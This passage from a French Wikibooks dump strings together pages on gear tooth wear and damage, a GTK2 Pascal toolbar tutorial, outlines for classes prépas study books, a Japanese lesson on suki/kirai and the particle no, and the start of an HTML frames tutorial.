carter. D'autres causes sont à rechercher sur les dentures elles-mêmes : choix des matériaux, de leurs traitements, qualité du taillage, détermination des déports ... On n'oubliera pas que parfois une mauvaise portée des dentures provient de déformations excessives des arbres, de leurs appuis (roulements ...), voire du carter. Les dilatations différentielles sont aussi à prendre en compte, de même que les surcharges ou encore les vibrations transmises par les organes voisins. Parfois, c'est la conception d'ensemble de l'engrenage qu'il faudra revoir ! == Corrosion chimique et rouille (chemical corrosion, rusting) == Elles provoquent des taches de couleur brun rouge, des irrégularités de surface, des piqûres souvent foisonnantes, plus ou moins bien réparties sur tout ou partie des zones exposées. Il s'agit évidemment d'attaques chimiques ou électrochimiques. Souvent, cette attaque résulte de produits contaminants introduits dans le carter, mais très fréquemment elle est due à la présence d'eau amenée par des fuites ou par la condensation. Le lubrifiant peut lui aussi être incriminé, pour diverses raisons : * acidification due au vieillissement, * présence d'additifs extrême pression trop agressifs, * activation de ces additifs par la présence d'eau ou par une température excessive. Parfois (souvent ?) les engrenages sont corrodés avant même leur introduction dans le carter, à cause d'un nettoyage avec des substances agressives, d'un mauvais stockage ou encore du simple contact avec des mains en sueur ... Les dentures corrodées ont un aspect peu engageant mais leur fonctionnement n'est que rarement altéré. Toutefois il faut se méfier des résidus d'oxydation qui peuvent être très durs et engendrer une usure abrasive. == Pelage (scaling) == Il est dû à une oxydation lors du traitement thermique. Il apparaît après fonctionnement une surface inégale comportant des zones en léger relief, très irrégulières, qui supportent les charges et prennent vite un aspect brillant. La portée des dentures est alors mauvaise. == Corrosion de contact (fretting corrosion) == Elle concerne : * d'une part les dentures ordinaires soumises, pendant le transport ou l'arrêt, à des vibrations d'origine extérieure, * d'autre part les accouplements à denture soumis, avec une protection insuffisante, à des vibrations de torsion ou à de petits mouvements dus au désalignement. La corrosion de contact produit des quantités importantes d'oxydes abrasifs qui vont polluer les lubrifiants et provoquer, dans les cas graves, une usure destructrice. == Surchauffe et brûlures (overheating, burning) == Elles résultent d'un échauffement anormal consécutif à une surcharge, une survitesse, un défaut de lubrification. Les plages colorées que l'on constate ne doivent pas être confondues avec le résultat d'une oxydation ou d'une corrosion. La chute des caractéristiques mécaniques favorise l'apparition du grippage et dans les cas les plus graves, elle peut conduire à un écrasement de la denture par fluage à chaud. == Cavitation == L'érosion par cavitation peut se manifester au niveau des dentures lorsque celles-ci se meuvent perpendiculairement à leur surface. Un tel mouvement se produit lors de l'engrènement sous l'effet de vibrations. Il en résulte une alternance de surpressions et de dépressions au sein du lubrifiant. Si ce dernier contient un produit susceptible de se vaporiser (eau, essence ...) et si les conditions s'y prêtent, alors des bulles se forment, puis implosent en provoquant des ondes de choc. Il constate alors l'apparition des micro-cratères caractéristiques de la cavitation. == Érosion par impact == Elle peut endommager les dents d'engrenages à haute vitesse lubrifiés par un jet d'huile alimenté sous une pression excessive. == Étincelage == Il est caractérisé par la formation d'une multitude de petits cratères résultant du passage intempestif d'un courant électrique, cratères qu'il ne faut pas confondre avec des piqûres provoquées par la fatigue des couches superficielles. Les traces sont ici en forme de cupules présentant, juste après leur formation, un rebord provenant de l'éjection du métal fondu. L'examen métallographique montre fréquemment des structures de trempe et de revenu. Si ces cratères sont provoqués par des courants vagabonds, ils sont généralement répartis sur l'ensemble de la denture. Comme dans le cas des roulements (voir plus loin), les cratères peuvent aussi avoir pour origine des travaux de soudage à l'arc au cours desquels le retour du courant s'est effectué à travers les roues dentées : mise à la masse mal choisie ! Dans ce cas, les dégâts sont bien sûr localisés. == Fatigue de surface == C'est une dégradation progressive, comme tous les phénomènes de fatigue. Contrairement aux autres formes d'usure, celle-ci concerne les engrenages bien lubrifiés. Les endommagements peuvent rester longtemps cachés avant de se manifester brutalement, ou bien se révéler de façon spectaculaire et précoce. Il y a donc diverses formes possibles, que nous allons passer en revue. D'une manière générale, cette fatigue se produit sous l'effet des contraintes tangentielles alternées. Si le frottement est très faible ces contraintes sont maximales en profondeur, ce qui peut être le cas avec des dentures très bien lubrifiées. Par contre, si les forces de frottement ne sont plus négligeables, le cisaillement est maximal en surface. Selon les circonstances, l'amorçage des fissures de fatigue se fera en sous-couche ou bien de façon apparente sur la peau de la pièce. == Micro-piqûres (micropitting, frosting, gray staining, microspalling) == Ce sont de très petits endommagements de 10 à 25 micromètres de côté et de 10 à 20 micromètres de profondeur. Ils concernent surtout les engrenages traités superficiellement et finis par rectification. Les divers termes correspondent à des aspects différents : taches grises, gerçures ... mais les dégâts sont identiques. Cette usure est évolutive, le métal est éliminé progressivement sous forme de petites écailles. == Piqûres (pitting) == Ce sont des trous peu profonds en forme d'éventail dont la pointe est tournée vers le pied des dents motrices ou vers le sommet des dents menées. La taille de ces trous est bien plus forte que pour les micro-écailles (de 0,3 à 2 mm) tandis que la profondeur est de l'ordre de 0,1 mm. Le piquage ne se produit que si le mouvement de roulement est plus important que le mouvement de glissement, c'est pourquoi on le trouve surtout au niveau du diamètre primitif. Le piquage apparaît souvent sur des dentures neuves traitées à cœur. Généralement il ralentit au fur et à mesure que le rodage améliore les portées et parfois même les traces disparaissent à la longue. Les piqûres diminuent si l'acier est durci et si la viscosité du lubrifiant croît. La fissuration démarre à partir d'un petit défaut superficiel et se propage ensuite en profondeur jusqu'à l'élimination d'une parcelle de métal. On considère généralement que la présence d'huile accélère très nettement la dégradation, car les très hautes pressions dues à l'engrènement sont transmises jusqu'au fond des fissures. Les piqûres naissantes sont généralement d'assez petites dimensions. Elles apparaissent d'abord là où la charge est maximale et en particulier, elles révèlent vite les défauts d'alignement, les déformations anormales des pièces, les distorsions dues aux traitements thermiques. La présence de quelques piqûres ne présente pas un risque immédiat et souvent le phénomène cesse spontanément. Cependant une évolution catastrophique est toujours possible et une fissuration grave peut dégrader très vite la totalité des surfaces, surtout dans le cas des dentures droites : c'est alors le piquage destructif. == Écaillage''' (spalling) == C'est une dégradation qui commence toujours à l'intérieur du métal, puis se propage jusqu'à rejoindre la surface, ce qui libère des fragments plus ou moins irréguliers aux dépens de la peau de la pièce. Cette avarie est beaucoup plus fréquente sur des dentures traitées superficiellement par cémentation ou trempe superficielle que sur celles qui sont traitées à cœur. L'écaillage est rare sur les aciers de faible dureté et dépend peu de la viscosité du lubrifiant. Les zones écaillées font apparaître une surface irrégulière, voire accidentée. On distingue facilement les piqûres des trous provoqués par l'écaillage : les premières ont des parois en pente plus ou moins douce, les seconds sont limités par des « falaises » à angles vifs, sur toute leur périphérie. Au début, l'écaillage semble n'affecter que quelques dents, ou même une seule. Il ne faut jamais oublier qu'il s'agit d'un phénomène de fatigue qui s'amorce très sournoisement en sous-couche. D'une part, cette fissuration est invisible tant qu'elle n'a pas débouché à la surface, d'autre part, elle provoque à court terme la rupture des dents concernées car elle s'étend dans la masse du métal en même temps qu'elle migre vers la surface. L'écaillage se situe le plus souvent en dessous du diamètre primitif, le creux des dentures est en effet plus sollicité que les sailles, et plus longtemps. La cause la plus fréquente de l'écaillage est une surcharge de longue durée et/ou une profondeur de traitement insuffisante : on sait que la couche traitée devrait avoir une épaisseur telle qu'elle dépasse de 50 à 100 % la profondeur à laquelle se produisent les contraintes maximales de cisaillement. L'écaillage survient de façon quasi systématique en cas de portée défectueuse des dentures, il se localise alors dans des zones bien déterminées des dents, le plus souvent à leur extrémité. Les dentures-bateaux sont un bon moyen d'éviter ces mauvaises portées. == Dislocation de la couche traitée (case crushing) == C'est une avarie très grave typique des engrenages traités en surface qu'elle met immédiatement hors service. Comme pour l'écaillage, les fissures naissent en sous-couche, avant que des fragments de métal soient éliminés sous forme de grosses écailles. C'est en fait toute la couche traitée qui se trouve rapidement décollée d'un substrat de résistance insuffisante. On sait aujourd'hui déterminer la profondeur à laquelle règne le cisaillement maximal dans un contact localisé essentiellement roulant. Si l'on traite en-deçà de cette profondeur par cémentation, nitruration, trempe superficielle, le traitement sera sans effet. Si l'on traite à une profondeur exagérée l'opération sera certes efficace mais inutilement coûteuse. Si l'on s'arrête au niveau de la zone de cisaillement maximal, non seulement le traitement sera inefficace, mais en introduisant une discontinuité de structure là où les contraintes sont les plus importantes, on a toutes les chances d'accélérer la dégradation. La bonne profondeur se situe entre 1,5 fois et 2 fois la profondeur à laquelle se produit le cisaillement maximal. Il faut de plus obtenir une dureté suffisante en sous-couche pour que la surface traitée soit solidement ancrée sur le substrat. == Empreintes (indentation) == Elles résultent du passage d'un corps étranger entre deux dents. Ce corps peut provenir des dents elles-mêmes, d'un roulement à billes voisin, d'un défaut de propreté au montage ... Ces empreintes sont souvent accompagnées d'autres défauts : déformation des dents ou formation de fissures pouvant faciliter un écaillage ultérieur. == Déformation plastique par roulage (rolling) == Elle provoque des déplacements de matière accompagnés le plus souvent de la formation de bavures. On observe sur les roues menantes un creusement au niveau du primitif et un gonflement du sommet et du pied des dents, tandis que sur les roues menées la matière est repoussée vers le primitif où elle forme un bourrelet. [[Image:Roue dentee de la Rhune.jpg|thumb|pignon pour crémaillère]] Cette avarie est propre aux dentures non traitées ou traitées à cœur. Sur des dents traitées en surface peuvent exister des phénomènes analogues mais jamais avec la même ampleur. Les profils sont progressivement détruits, tandis que l'engrenage devient bruyant. En général, cela conduit à brève échéance à une rupture des dents. Le remède consiste à éliminer les surcharges et surtout à réduire le frottement sur les dents en adoptant une huile plus visqueuse. La photo montre un morceau de la roue dentée qui permet à un petit train à crémaillère de monter au sommet de la Rhune, une des montagnes mythiques du Pays basque. On voit très bien que le métal a été écrasé au niveau du diamètre primitif et refoulé non seulement vers la tête et le pied de dent, mais aussi latéralement. La roue complète avait un diamètre de l'ordre de 2 m. On notera : *que l'on a choisi délibérément un acier relativement mou, non traité, de façon qu'il ne soit surtout pas fragile. Chacun comprendra qu'il vaut mieux, pour ce genre d'application, que les dents périssent par leur surface plutôt qu'en se rompant brutalement, * que pour la même raison, la base des dents est creusée par des cylindres de grands rayons. Il s'agit ici d'éviter les ruptures de fatigue en diminuant autant que faire se peut l'éffet d'entaille. * qu'après qu'elle a été usée d'un côté (c'est toujours le même flanc des dents qui travaille, aussi bien à la montée du train qu'à sa descente), la roue a été retournée. == Déformations plastiques par martelage (peening) == Elles forment des sillons longitudinaux correspondant aux zones de portée. La cause en est généralement une surcharge brutale qui peut concerner toutes les dents ou seulement quelques-unes, si cette surcharge se produit toujours pour une certaine position angulaire de la roue dentée. Cette avarie se produit fréquemment, lorsqu'une dent a été rompue, sur la ou les dents suivantes. [[Image:Dent cassee sur une roue spiro-conique.jpg|thumb|Dent cassée sur une roue spiro-conique]] En général, les chocs s'accompagnent d'une fissuration de fatigue qui provoquera, au bout d'un certain temps, le bris partiel ou total de la denture. La photo montre des taches de martelage sur la roue spiro-conique d'une transmission de Renault 4, après la rupture par fatigue d'une dent et des extrémités des dents voisines. Le propriétaire du véhicule et l'auteur de ces lignes ne faisant qu'un, vous pouvez admettre que ces taches se sont formées en peu de temps, le bruit de fonctionnement étant de nature à dissuader quiconque d'entreprendre un voyage au long cours. La R4 a toutefois bravement supporté une brève excursion pour se rendre chez son garagiste préféré, excursion de nature à faire réfléchir le conducteur alors jeune à la valeur du concept d'élan. == Broutage == Il provoque la formation de petites '''rides''' (rippling) ou de '''stries''' (ridging) plus ou moins ondulées, perpendiculaires à la direction du glissement et rappelant à petite échelle les « ripple marks », ondulations bien connues provoquées dans le sable ou la boue par le vent ou l'eau. Ce phénomène présente également des analogies avec le « stick-slip ». Le broutage se produit essentiellement sur les dentures traitées en surface, par exemple cémentées-trempées, et rarement dans le cas d'un traitement dans la masse. Les facteurs qui le favorisent sont de fortes pressions, des vitesses faibles, des vibrations de torsion et une lubrification limite. Il ne s'agit généralement pas d'une véritable avarie, mais plutôt d'une sorte de signal d'alarme précédent la survenue de dégradations beaucoup plus graves, sauf si le fonctionnement est trop perturbé. == Sillons (ridging) == Ils se forment sur certaines dentures, à faible vitesse et fort glissement des bourrelets et des creux parallèles à la direction de ce dernier. Les engrenages hypoïdes sont particulièrement sensibles à ce processus comparable au stick-slip et qui altère profondément l'état de surface. La formation des sillons est liée à l'existence de fortes pressions de contact combinées à une dureté et à une lubrification insuffisantes. On peut souvent régler le problème en utilisant une huile de plus forte viscosité contenant des additifs extrême pression. [[Image:Roue dentee de la Rhune.jpg|thumb|pignon pour crémaillère]] == Bavures (burr) == Ce sont des excroissances de métal, souvent grossières et plus ou moins acérées, formées par déformation plastique du métal. Il ne faut pas les confondre avec les bavures que laisse parfois l'usinage. Les bavures latérales de la roue du petit train de la Rhune, déjà montrée précédemment, relèvent de ce processus. On rappelle que les bavures qui se sont formées en tête et en pied de dent relèvent du phénomène de roulage. [[Image:Roue creuse 01.jpg|thumb|Roue creuse pour pont arrière automobile à vis]] [[Image:Roue creuse 02.jpg|thumb|Roue creuse pour pont arrière automobile à vis]] [[Image:Roue creuse 03.jpg|thumb|Roue creuse pour pont arrière automobile à vis]] == Processus d'usures combinées == Peu fréquents en général, ils sont cependant systématiques pour certains mécanismes et liés à des conjonctions de paramètres difficiles à maîtriser. Ainsi, les roues pour vis sans fin en bronze présentent souvent à la fois un fluage, une abrasion et une fatigue qui, associées probablement avec une certaine forme de cavitation, provoquent la formation de cavités très caractéristiques sur le côté le plus chargé de la denture. On voit ici trois vues d'une roue creuse utilisée dans le pont arrière à vis d'une automobile. Ces roues ont des dentures très inclinées. On sait en effet que le meilleur rendement d'un système roue et vis sans fin est obtenu lorsque l'angle d'inclinaison d'hélice de la vis, égal à l'angle d'inclinaison de denture de la roue, vaut 45°-φ/2, φ étant l'angle de frottement. On a donc ici une inclinaison de denture de l'ordre de 43°. == Fissurations''' (cracks) == Les fissurations sont de diverses sortes, généralement liées à des défauts de fabrication ; elles peuvent altérer l'état des surfaces, comme par exemple : des fissures dues au forgeage (initial or thermal cracks), des tapures de tremps (quenching cracks), des criques de rectification (grinding cracks), des criques d'origine thermique (thermal cracks), des fissures de fatigue (fatigue cracks), ... Naturellement il ne faut pas oublier que les dentures sont exposées non seulement aux phénomènes d'usure qui dégradent leur surface, mais aussi à d'autres processus de mise hors service comme les '''ruptures''' par surcharge, par chocs ou par fatigue. On traite contre l'usure et la fatigue superficielle par la nitruration, la carbonitruration ou la cémentation. '''Une décarburation superficielle est toujours très défavorable'''. Pour la '''pignonnerie automobile''' on utilise beaucoup l'acier 16 CD 4 cémenté trempé pour les pignons à dentures assez grosses et les couronnes spiroconiques, ou l'acier 27 CD 4 carbonitruré pour les pignons à dents plus petites, les baladeurs à denture et les couronnes de ponts à denture droite. Pour les '''réducteurs à roue et vis sans fin''' la roue est parfois encore en fonte et la vis en acier mi-dur, si les vitesses et les pressions sont faibles. En général la roue est en bronze phosphoreux du genre U E12 P et la vis en acier trempé ou cémenté trempé. Les bronzes centrifugés sont ceux qui ont les meilleures qualités de frottement et de résistance. Pour des applications particulières (réducteurs silencieux, graissage impossible), on utilise parfois pour la roue des matières plastiques autolubrifiantes (Céloron). == Usure par dissolution == Ce phénomène assez étrange détériore parfois les engrenages mixtes plastique-métal, comme ceux que l'on peut rencontrer dans les programmateurs électromécaniques qui équipent beaucoup d'appareils ménagers : le métal du pignon se dissout dans la matière plastique de la roue, l'un maigrit, l'autre gonfle. On n'a pas d'explication claire de ce phénomène. Programmation GTK2 en Pascal - GtkToolItem 3020 14561 2005-03-31T17:23:11Z Didier 186 Premier jet {{Programmation GTK2 en Pascal}} == Présentation == Le contrôle '''GtkToolItem''' permet de gérer un élément de barre d'outils autre qu'un bouton. En effet pour ceux-ci, il vaut mieux utiliser directement les contrôles <code>[[Programmation GTK2 en Pascal - GtkToolButton|GtkToolButton]]</code>, <code>[[Programmation GTK2 en Pascal - GtkToggleToolButton|GtkToggleToolButton]]</code> et <code>[[Programmation GTK2 en Pascal - GtkRadioToolButton|GtkRadioToolButton]]</code>. === Hiérarchie === {| style="border:1px #D0E2EE solid; margin=5px 5px 5px 10px;" cellspacing="0" cellpadding="5" | style="text-align:center;background:#EAF5FB;" | Hiérarchie |- | [[Programmation GTK2 en Pascal - GObject|GObject]] └─[[Programmation GTK2 en Pascal - GtkObject|GtkObject]] └─[[Programmation GTK2 en Pascal - GtkWidget|GtkWidget]] └─[[Programmation GTK2 en Pascal - GtkContainer|GtkContainer]] └─[[Programmation GTK2 en Pascal - GtkBin|GtkBin]] └─[[Programmation GTK2 en Pascal - GtkToolItem|GtkToolItem]] ├─[[Programmation GTK2 en Pascal - GtkToolButton|GtkToolButton]] └─[[Programmation GTK2 en Pascal - GtkSeparatorToolItem|GtkSeparatorToolItem]] |} == Utilisation de base == === Création === La fonction de création d'un élément de barre d'outils est simple : function gtk_tool_item_new : PGtkWidget; Il faut ensuite créer le contrôle qu'il va contenir et l'y ajouter avec la fonction <code>[[Programmation GTK2 en Pascal - GtkContainer#Ajout et suppression d'éléments|gtk_container_add()]]. {{Programmation GTK2 en Pascal - Barre d'outils}} [[Catégorie:Programmation GTK2 en Pascal|GtkToolItem]] Image:Programmation GTK2 en Pascal - gtk043.png 3021 14562 2005-03-31T17:26:34Z Didier 186 Exemple du programme gtk043.pas. {{GFDL}} [[Utilisateur:Didier|Didier Halatre]]. Exemple du programme gtk043.pas. {{GFDL}} [[Utilisateur:Didier|Didier Halatre]]. Programmation GTK2 en Pascal - GtkToolButton 3022 14563 2005-03-31T17:28:14Z Didier 186 Premier jet {{Programmation GTK2 en Pascal}} == Présentation == Le contrôle '''GtkToolButton''' permet de gérer un élément de barre d'outils de type bouton. === Hiérarchie === {| style="border:1px #D0E2EE solid; margin=5px 5px 5px 10px;" cellspacing="0" cellpadding="5" | style="text-align:center;background:#EAF5FB;" | Hiérarchie |- | [[Programmation GTK2 en Pascal - GObject|GObject]] └─[[Programmation GTK2 en Pascal - GtkObject|GtkObject]] └─[[Programmation GTK2 en Pascal - GtkWidget|GtkWidget]] └─[[Programmation GTK2 en Pascal - GtkContainer|GtkContainer]] └─[[Programmation GTK2 en Pascal - GtkBin|GtkBin]] └─[[Programmation GTK2 en Pascal - GtkToolItem|GtkToolItem]] └─[[Programmation GTK2 en Pascal - GtkToolButton|GtkToolButton]] ├─[[Programmation GTK2 en Pascal - GtkMenuToolButton|GtkMenuToolButton]] └─[[Programmation GTK2 en Pascal - GtkToggleToolButton|GtkToggleToolButton]] |} == Utilisation de base == === Création === Pour créer un bouton, Gtk+ permet l'utilisation de deux fonctions différentes : function gtk_tool_button_new(icon_widget : PGtkWidget; szLabel : Pgchar) : PGtkToolItem; function gtk_tool_button_new_from_stock(stock_id : Pgchar) : PGtkToolItem; La première fonction permet de créer un bouton avec une image et un label, il faudra pour cela lui fournir l'image dans le paramètre <code>icon_widget</code> et le label dans <code>szLabel</code>. La deuxième fonction permet également de créer un bouton avec un label, un raccourci clavier et une image, en utilisant les <code>[[Programmation GTK2 en Pascal - GtkStockItem|GtkStockItem]]</code> qui est une structure contenant les informations sur le label et l'image à afficher. Gtk+ comporte déjà beaucoup de <code>GtkStockItem</code> prédéfinis (en tout cas les plus courant). Le paramètre <code>stock_id</code> est donc l'identifiant du <code>GtkStockItem</code> à utiliser. == Programme exemple == Nous allons créer dans une fenêtre une barre d'outils avec deux boutons créés selon les deux méthodes disponibles. Voilà le fichier <code>gtk043.pas</code> : program gtk043; uses glib2, gtk2; procedure gtk_toolbar_insert(toolbar : PGtkToolbar; item : PGtkToolItem; pos : gint); cdecl; external gtklib name 'gtk_toolbar_insert'; var pFenetre : PGtkWidget; pVBox : PGtkWidget; pBarreOutils : PGtkWidget; pBouton1 : PGtkToolItem; pImage : PGtkWidget; pBouton2 : PGtkToolItem; pLabel : PGtkWidget; begin gtk_init(@argc, @argv); pFenetre := gtk_window_new(GTK_WINDOW_TOPLEVEL); gtk_window_set_position(GTK_WINDOW(pFenetre), GTK_WIN_POS_CENTER); gtk_window_set_default_size(GTK_WINDOW(pFenetre), 320, 200); <nowiki>gtk_window_set_title(GTK_WINDOW(pFenetre), 'Gtk043 : Barre d''outils avec boutons');</nowiki> gtk_signal_connect(pGTKOBJECT(pFenetre), 'destroy', G_CALLBACK(@gtk_main_quit), NULL); // Création de la GtkVBox pVBox := gtk_vbox_new(FALSE, 5); gtk_container_add(GTK_CONTAINER(pFenetre), pVBox); // Création de la barre d'outils pBarreOutils := gtk_toolbar_new; gtk_box_pack_start(GTK_BOX(pVBox), pBarreOutils, FALSE, FALSE, 0); // Création du premier bouton pImage := gtk_image_new_from_stock(GTK_STOCK_OPEN, GTK_ICON_SIZE_LARGE_TOOLBAR); pBouton1 := gtk_tool_button_new(pImage, 'Ouvrir...'); gtk_toolbar_insert(GTK_TOOLBAR(pBarreOutils), pBouton1, -1); // Création du deuxième bouton pBouton2 := gtk_tool_button_new_from_stock(GTK_STOCK_QUIT); gtk_toolbar_insert(GTK_TOOLBAR(pBarreOutils), pBouton2, -1); g_signal_connect(pGTKOBJECT(pBouton2), 'clicked', G_CALLBACK(@gtk_main_quit), NULL); // Création du label pLabel := gtk_label_new('Label'); gtk_box_pack_start(GTK_BOX(pVBox), pLabel, FALSE, FALSE, 0); gtk_widget_show_all(pFenetre); gtk_main; end. Voilà ce que donne l'exécution du programme <code>gtk043</code> : [[Image:Programmation GTK2 en Pascal - gtk043.png]] {{Programmation GTK2 en Pascal - Barre d'outils}} [[Catégorie:Programmation GTK2 en Pascal|GtkToolButton]] Le Grand Livre du Taupin 3026 43244 2006-05-26T14:45:13Z Barbichette 1566 /* [[Mathématiques du Taupin]] */ orth {{ébauche}} == Préface: Objectifs et Lignes Directrices == == Les Livres == === [[Histoire de la Vie du (bon) Taupin]] === Vous trouverez ici toutes les questions que vous vous êtes toujours posées ! Ce livre va tenter de '''décrire le monde obscur des taupins''' mais aussi des autres prépas car il n'y a pas que les CPGE dans la vie. Ajoutons à cela une bonne dose de '''méthodes''', '''conseils''' et autres qui feront de vous un super taupin (Soit dit en passant, ces conseils peuvent servir à d'autres entités). Les conseils pour '''gérer votre stress''' et préparer sereinement '''les oraux''' et '''les écrits'''. Et enfin la question que tout le monde se pose pourquoi faire une prépa ? Qu'est-ce que le métier d'ingénieur ? Comment devenir pilote de ligne en 6 mois ? C'est ici que tout commence. === [[Mathématiques du Taupin]] === * Analyse ** Suites ** Séries ** Intégration * Algèbre ** Structures ** Réduction ** Déterminant ** Valeurs et Vecteurs propres ** Groupe Orthogonal * Arithmétique * Géométrie === [[Physique du Taupin]] === * Mécanique ** Mécanique du point ** Les forces centrales ** Mécanique du solide * Élèctricité * Élèctromagnétique * Optique * Thermodynamique ** Transferts thermiques * Mécanique des fluides === [[Chimie du Taupin]] === === [[Francais-Philosophie du Taupin]] === === [[Anglais du Taupin]] === === [[Informatique du Taupin]] === Ce livre porte essentiellement sur le langage CAML et le programme d'informatique en MP/MPSI et dans une moindre mesure sur l'utilisation de programme tel que Mathematica. === [[Sciences de l'Ingenieur du Taupin]] === === [[Épreuve de TIPE]] === Un livre pour vous expliquer comment réussir votre TIPE mais aussi et surtout des (bons) exemples de TIPE. === Annexes === * [[Le Grand Livre du Taupin - Annales du Taupin|Annales du Taupin]] **Annales par écoles ** Annales par matières ** Annales par années Tous les sujets sont accompagnes de leur rapport, et peut être même un jour du corrigé. * [[Le Grand Livre du Taupin - Formulaires du Taupin|Formulaires du Taupin]] ** Mathématiques ** Physique ** Informatique ** Sciences de l'ingenieur Informatique du Taupin 3027 14568 2005-05-12T20:44:00Z Aneglus 297 /* Cours, Exercices et Méthodes */ {{Taupins}} == Préface == Ce livre va vous livrez tous les secrets de CAML, de l'algorithmique, du calcul de complexité et plus jamais non plus jamais vous resterez scotché sur votre feuille à dessiner des moutons. == L'Informatique en MPSI/MP == === Objectifs === === Cours, Exercices et Méthodes === * Vue d'ensemble * Logique * Algorithmique * Les Arbres * Complexité * Langages et Automates === Les concours, A quoi devez vous vous attendre ? === * ENS * X * Centrales * Mines-Ponts * Concours Communs Polythecniques * Ecole de L'Air * E3A ==== Annales et Rapports ==== === Liens externes === * [http://caml.inria.fr/] Page caml de l'INRIA * [http://pauillac.inria.fr/%7Echeno/] Site web de Laurent Echeno professeur d'informatique en prepas, vous y trouverez un cours de 2e année * [http://pauillac.inria.fr/ups/] Ici vous trouverez les cours de premiere année. == L'Informatique Appliquée == === Objectifs === === Les differents logiciels === * Mathematica * Maple === Les concours === * Centrale : Epreuve specifique {{Le Grand Livre du Taupin}} Modèle:Le Grand Livre du Taupin 3028 14569 2005-05-13T07:21:37Z Aneglus 297 {{suppression}} ---- Cet article fait partie du livre [[Le Grand Livre du Taupin]] Japonais:Leçon3 3035 46636 2006-07-01T00:04:38Z 83.158.202.8 /* [[image:あ_教科書体.png|50 px|Ecriture]] Écriture Japonaise */ {{En travaux}} [[Japonais:Table des matières|^ Japonais ^]] | [[Japonais:Leçon2|<< Leçon 2]] | Leçon 3 | [[Japonais:Leçon4|Leçon 4 >>]] = Leçon 3 = ==Introduction== Une leçon pas très compliquée mais qui permet de vite construire des phrases avec un minimun de vocabulaire. ==Suki - Kirai== Grâce a ces deux mots vous pourez dire ce que vous aimez ou n'aimez pas. Ils se placent toujours à la fin de la phrase sauf en cas de particule spécifique et sont précédés de la particule "ga". Par exemple : *Watashi wa neko ga suki : J'aime les chats. *Watashi wa nihon ga suki : J'aime le japon. *Watashi wa sakana ga kirai : Je n'aime pas le poisson. *Watashi wa hon ga kirai : Je n'aime pas les livres. *Anata wa inu ga suki ka ? : Aimes-tu les chiens ? *Kare wa mori ga suki ka ? : aime t-il la fôret ? ==Pour les verbes== Pour dire ce que l'on aime ou n'aime pas faire on utilise ces deux mêmes mots mais le verbe à l'infinitif est suivi de la particule "no". par exemple : *Watashi wa neru no ga suki: J'aime dormir. *Watashi wa nomu no ga suki : J'aime boire (pas forcément de l'alcool). *Anata wa yomu no ga kirai : Tu n'aimes pas lire. *Kare wa taberu no ga suki ka : aime t-il manger? == Daisuki - Daikirai == En plaçant "dai", qui signifie "grand", devant "suki" et "kirai" on augmente la force de ces mots : "daisuki" = adorer, daikirai = détester. par exemple : *(Watashi wa) mizu ga daisuki : j'adore l'eau. *karera wa hanasu no ga daikirai: ils detestent parler. = の = "の" = no est la particule d'apartenance elle se place après le possesseur et avant le possédé. Ça a l'air difficile mais une fois que c'est compris c'est pour la vie. Par exemple : *watashi no hon: mon (moi le possesseur) livre (le possédé). *watashi no inu: mon chien. *anata no neko desu: c'est ton chat. *kare no mizu desu ka: c'est son eau ? Mais no est aussi la particule d'origine. Par exemple : *nihon no shinbun : un journal du Japon. *nihon no kuruma : une voiture japonaise. *nihonjin no gakusei : un étudiant japonais. == [[Image:Evolution-tasks.png|50 px|exercice]]れんしゅう (Exercices) == Traduire en Francais : *watashi wa nihongo ga suki: ... *miyuki wa anata no hon daisuki: ... Traduire en japonais : *Il aime l'amérique: ... *Elle déteste le français: ... [[Japonais:Leçon3:Correction|Voir la correction des exercices]] = Expression courante = *こんばんは - Konban wa - bonsoir. *おはよう - Ohayō – bonjour (le matin). *さようなら - Sayōnara - Au revoir. = [[Image:Comiclogo.png|50 px|dialogue]] Dialogue = ''mise en situation'' Regardons un peu le dialogue<br /> Essayons de voir un peu de vocabulaire = [[Image:Evolution-tasks.png|50 px|exercice]]れんしゅう (Exercices) = Traduire en français : Traduire en japonais : = [[image:あ_教科書体.png|50 px|Ecriture]] Écriture Japonaise = J'espère que vous continuez à apprendre les Hiraganas, la prochaine leçon en contiendra. Soyez prêts !! = Fiche vocabulaire = <div style="float:left; width:50%;"> *Nom: **neko: un chat. **sakana: un poisson. **hon: un livre. **inu: un chien. **mori: une forêt. **mizu: l'eau. **shinbun: un journal. **kuruma: une voiture. </div><div style="float:right; width:50%;"> *Verbe: **neru: dormir. **nomu: boire. **yomu: lire. **taberu: manger. **hanasu: parler </div><br clear=all /> [[Japonais:Table des matières|^ Japonais ^]] | [[Japonais:Leçon2|<< Leçon 2]] | Leçon 3 | [[Japonais:Leçon4|Leçon 4 >>]] {{Méthode_de_Japonais}} [[Catégorie:Méthode de Japonais]] Japonais Exercices:R001 001 3036 14575 2005-04-12T03:31:08Z Genepi2 249 Ajout categorie == Solution == {| border="1" | <big>'''なに'''</big> |} ---- <sub>きのう <font color="green">'''なに'''</font>  た </sub><br /> <big>昨日<font color="green">'''何'''</font>を食べましたか。</big> [[Japonais:Pool d'exercices#Exercice 001|Retour à l'exercice]] [[Catégorie:Exercices (Japonais)]] Programmation HTML Cadres 3038 41341 2006-05-01T09:44:16Z 84.100.40.199 /* Les valeurs de l'attribut <code>target</code> */ {{ébauche}} {{Programmation HTML}} Un cadre (''frame'' en anglais) est une section de page web contenant elle-même une autre page web. La technique des cadres permet de faire évoluer plusieurs pages web simultanément. Par exemple, un cadre peut contenir le menu d'un site, et un autre son contenu (ce qui évite de devoir insérer un menu sur chaque page du site). Le principal inconvénient des cadres est qu'ils brisent la sémantique des données. Pour cette raison, leur utilisation n'est plus encouragée. ==Définition d'un jeu de cadres : la balise <code>frameset</code>== ===Les attributs <code>cols</code> et <code>rows</code>=== Ces attributs servent à déterminer la disposition et les dimensions des cadres : <code>cols</code> pour les colonnes, <code>rows</code> pour les lignes (ou, plus précisément, une séparation verticale ou horizontale). ====Imbrication de cadres==== Comme vous l'aurez remarqué, la balise <code>frameset</code> ne peut diviser qu'à l'horizontale '''ou''' à la verticale. Pour combiner les deux, il est possible d'imbriquer les balises <code>frameset</code>. Ce résultat s'obtient en définissant un jeu de cadres (toujours avec la balise <code>frameset</code> donc) dans un cadre. ===La balise <code>noframe</code>=== Certains navigateurs très anciens ne savent pas comment interpréter les cadres. La balise <code>noframe</code> permet d'indiquer à ces navigateurs comment produire la page web d'une manière alternative. Cette balise est ignorée par les navigateurs sachant interpréter les cadres. ==Définition d'un cadre : la balise <code>frame</code>== ===L'attribut <code>src</code>=== L'attribut <code>src</code> contient l'adresse (relative ou absolue) de la page à afficher dans le cadre. ===L'attribut <code>name</code>=== L'attribut <code>name</code> permet 